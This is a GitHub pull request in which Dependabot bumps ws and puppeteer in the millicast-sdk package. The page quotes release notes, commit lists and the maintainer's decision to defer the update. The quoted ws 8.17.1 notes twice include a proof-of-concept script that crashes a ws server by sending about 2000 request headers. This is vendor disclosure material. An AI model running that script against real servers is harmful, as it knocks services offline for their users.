dependabot[bot] commented 3 months ago

Bumps ws to 8.18.0 and updates ancestor dependencies ws and puppeteer. These dependencies need to be updated together.

Updates ws from 7.5.9 to 8.18.0

Release notes

Sourced from ws's releases.

8.18.0

Features

Added support for Blob (#2229).

8.17.1

Bug fixes

Fixed a DoS vulnerability (#2231).

A request with a number of headers exceeding the[server.maxHeadersCount][] threshold could be used to crash a ws server.

const http = require('http');
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 0 }, function () {
const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
const headers = {};
let count = 0;
for (let i = 0; i < chars.length; i++) {
if (count === 2000) break;
for (let j = 0; j &lt; chars.length; j++) {
  const key = chars[i] + chars[j];
  headers[key] = 'x';

  if (++count === 2000) break;
}

}
headers.Connection = 'Upgrade';
headers.Upgrade = 'websocket';
headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
headers['Sec-WebSocket-Version'] = '13';
const request = http.request({
headers: headers,
host: '127.0.0.1',
port: wss.address().port
});
request.end();
});

The vulnerability was reported by Ryan LaPointe in websockets/ws#2230.

... (truncated)

Commits

976c53c [dist] 8.18.0
59b9629 [feature] Add support for Blob (#2229)
0d1b5e6 [security] Use more descriptive text for 2017 vulnerability link
15f11a0 [security] Add new DoS vulnerability to SECURITY.md
3c56601 [dist] 8.17.1
e55e510 [security] Fix crash when the Upgrade header cannot be read (#2231)
6a00029 [test] Increase code coverage
ddfe4a8 [perf] Reduce the amount of crypto.randomFillSync() calls
b73b118 [dist] 8.17.0
29694a5 [test] Use the highWaterMark variable
Additional commits viewable in compare view

Updates ws from 8.15.1 to 8.18.0

Release notes

Sourced from ws's releases.

8.18.0

Features

Added support for Blob (#2229).

8.17.1

Bug fixes

Fixed a DoS vulnerability (#2231).

A request with a number of headers exceeding the[server.maxHeadersCount][] threshold could be used to crash a ws server.

const http = require('http');
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 0 }, function () {
const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
const headers = {};
let count = 0;
for (let i = 0; i < chars.length; i++) {
if (count === 2000) break;
for (let j = 0; j &lt; chars.length; j++) {
  const key = chars[i] + chars[j];
  headers[key] = 'x';

  if (++count === 2000) break;
}

}
headers.Connection = 'Upgrade';
headers.Upgrade = 'websocket';
headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
headers['Sec-WebSocket-Version'] = '13';
const request = http.request({
headers: headers,
host: '127.0.0.1',
port: wss.address().port
});
request.end();
});

The vulnerability was reported by Ryan LaPointe in websockets/ws#2230.

... (truncated)

Commits

976c53c [dist] 8.18.0
59b9629 [feature] Add support for Blob (#2229)
0d1b5e6 [security] Use more descriptive text for 2017 vulnerability link
15f11a0 [security] Add new DoS vulnerability to SECURITY.md
3c56601 [dist] 8.17.1
e55e510 [security] Fix crash when the Upgrade header cannot be read (#2231)
6a00029 [test] Increase code coverage
ddfe4a8 [perf] Reduce the amount of crypto.randomFillSync() calls
b73b118 [dist] 8.17.0
29694a5 [test] Use the highWaterMark variable
Additional commits viewable in compare view

Updates puppeteer from 21.6.1 to 22.12.1

Release notes

Sourced from puppeteer's releases.

puppeteer-core: v22.12.1

22.12.1 (2024-06-26)

Bug Fixes

execution contexts might be created before previous is destroyed (#12666) (db642d1)

reset the viewport after taking a fullPage screenshot if defaultViewport is null (#12650) (0a32283)

roll to Chrome 126.0.6478.126 (r1300313) (#12656) (32ed82c)

use RAF-based polling for ARIA selectors (#12664) (56d1d3f)

puppeteer: v22.12.1

22.12.1 (2024-06-26)

Miscellaneous Chores

puppeteer: Synchronize puppeteer versions

Dependencies

The following workspace dependencies were updated

dependencies

puppeteer-core bumped from 22.12.0 to 22.12.1

puppeteer-core: v22.12.0

22.12.0 (2024-06-21)

Features

support AbortSignal in page.waitForRequest/Response/NetworkIdle/Frame (#12621) (54ecea7)

webdriver: support for PageEvent.Popup (#12612) (293926b)

Bug Fixes

performance: clear targets on browser context close (#12609) (6609758)

roll to Chrome 126.0.6478.62 (r1300313) (#12615) (80dd131)

roll to Chrome 126.0.6478.63 (r1300313) (#12632) (20ed8fc)

puppeteer: v22.12.0

22.12.0 (2024-06-21)

Miscellaneous Chores

puppeteer: Synchronize puppeteer versions

... (truncated)

Commits

1886390 chore: release main (#12659)
db642d1 fix: execution contexts might be created before previous is destroyed (#12666)
56d1d3f fix: use RAF-based polling for ARIA selectors (#12664)
0a32283 fix: reset the viewport after taking a fullPage screenshot if defaultViewport...
5d762be docs: fix some broken links (#12660)
866f720 build(deps): relax dependency versions for non-puppeteer dependencies (#12649)
32ed82c fix: roll to Chrome 126.0.6478.126 (r1300313) (#12656)
fbd6ca5 docs: various docs improvements (#12651)
9808d46 chore(deps): Bump glob from 10.4.1 to 10.4.2 in the dependencies group (#12639)
add2890 docs: fix various typos (#12648)
Additional commits viewable in compare view

Maintainer changes

This version was pushed to npm by google-wombot, a new releaser for puppeteer since your current version.

Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.

Dependabot commands and options

You can trigger Dependabot actions by commenting on this PR: - `@dependabot rebase` will rebase this PR - `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it - `@dependabot merge` will merge this PR after your CI passes on it - `@dependabot squash and merge` will squash and merge this PR after your CI passes on it - `@dependabot cancel merge` will cancel a previously requested merge and block automerging - `@dependabot reopen` will reopen this PR if it is closed - `@dependabot close` will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually - `@dependabot show ignore conditions` will show all of the ignore conditions of the specified dependency - `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself) You can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/millicast/millicast-sdk/network/alerts).

changeset-bot[bot] commented 3 months ago

⚠️ No Changeset found

Latest commit: 3b0b9a1103544de762a28a610dd6d10de0179375

Merging this PR will not cause a version bump for any packages. If these changes should not result in a new version, you're good to go. If these changes should result in a version bump, you need to add a changeset.

This PR includes no changesets

When changesets are added to this PR, you'll see the packages that this PR includes changesets for and the associated semver types

Click here to learn what changesets are, and how to add one.

Click here if you're a maintainer who wants to add a changeset to this PR

Santiago-Souto commented 2 months ago

This vulnerability will be omitted for the time being

dependabot[bot] commented 2 months ago

OK, I won't notify you again about this release, but will get in touch when a new version is available.

If you change your mind, just re-open this PR and I'll resolve any conflicts on it.

millicast / millicast-sdk

Bump ws and puppeteer in /packages/millicast-sdk #395

8.18.0

Features

8.17.1

Bug fixes

8.18.0

Features

8.17.1

Bug fixes

puppeteer-core: v22.12.1

22.12.1 (2024-06-26)

Bug Fixes

puppeteer: v22.12.1

22.12.1 (2024-06-26)

Miscellaneous Chores

Dependencies

puppeteer-core: v22.12.0

22.12.0 (2024-06-21)

Features

Bug Fixes

puppeteer: v22.12.0

22.12.0 (2024-06-21)

Miscellaneous Chores

⚠️ No Changeset found